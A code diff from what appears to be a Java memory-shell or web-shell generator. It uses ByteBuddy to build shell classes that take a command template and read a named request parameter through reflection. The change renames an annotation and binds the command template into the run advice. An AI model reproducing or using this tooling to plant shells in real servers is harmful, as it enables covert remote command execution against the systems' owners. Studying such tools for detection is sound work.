@@ -48,11 +48,14 @@ protected DynamicType.Builder<?> build(ByteBuddy buddy) {
4848 DynamicType .Builder <?> builder = buddy .redefine (writerClass )
4949 .name (probeConfig .getShellClassName ())
5050 .visit (new TargetJreVersionVisitorWrapper (probeConfig .getTargetJreVersion ()))
51- .visit (Advice .to (runnerClass ).on (named ("run" )));
51+ .visit (Advice .withCustomMapping ()
52+ .bind (ValueAnnotation .class , probeContentConfig .getCommandTemplate ())
53+ .to (runnerClass )
54+ .on (named ("run" )));
5255 if (StringUtils .isNotBlank (probeContentConfig .getReqParamName ())) {
5356 builder = builder .visit (MethodCallReplaceVisitorWrapper .newInstance ("getDataFromReq" ,
5457 probeConfig .getShellClassName (), ShellCommonUtil .class .getName ()))
55- .visit (Advice .withCustomMapping ().bind (NameAnnotation .class , name )
58+ .visit (Advice .withCustomMapping ().bind (ValueAnnotation .class , name )
5659 .to (getDataFromReqInterceptor ).on (named ("getDataFromReq" )));
5760 } else if (ProbeContent .Bytecode .equals (probeConfig .getProbeContent ())) {
5861 builder = builder .method (named ("getDataFromReq" )).intercept (FixedValue .value (probeContentConfig .getBase64Bytes ()));
@@ -106,7 +109,7 @@ private Class<?> getWriterClass() {
106109 static class getDataFromReqInterceptor {
107110 @ Advice .OnMethodExit
108111 public static void enter (@ Advice .Argument (value = 0 ) Object request ,
109- @ NameAnnotation String name ,
112+ @ ValueAnnotation String name ,
110113 @ Advice .Return (readOnly = false ) String ret ) throws Exception {
111114 try {
112115 String p = (String ) ShellCommonUtil .invokeMethod (request , "getParameter" , new Class []{String .class }, new Object []{name });
@@ -123,7 +126,7 @@ public static void enter(@Advice.Argument(value = 0) Object request,
123126 static class getDataFromReqJettyInterceptor {
124127 @ Advice .OnMethodExit
125128 public static void enter (@ Advice .Argument (value = 0 ) Object request ,
126- @ NameAnnotation String name ,
129+ @ ValueAnnotation String name ,
127130 @ Advice .Return (readOnly = false ) String ret ) throws Exception {
128131 try {
129132 String p = (String ) ShellCommonUtil .invokeMethod (request , "getParameter" , new Class []{String .class }, new Object []{name });
@@ -144,7 +147,7 @@ public static void enter(@Advice.Argument(value = 0) Object request,
144147 }
145148
146149 @ Retention (RetentionPolicy .RUNTIME )
147- public @interface NameAnnotation {
150+ public @interface ValueAnnotation {
148151 }
149152}
150153
0 commit comments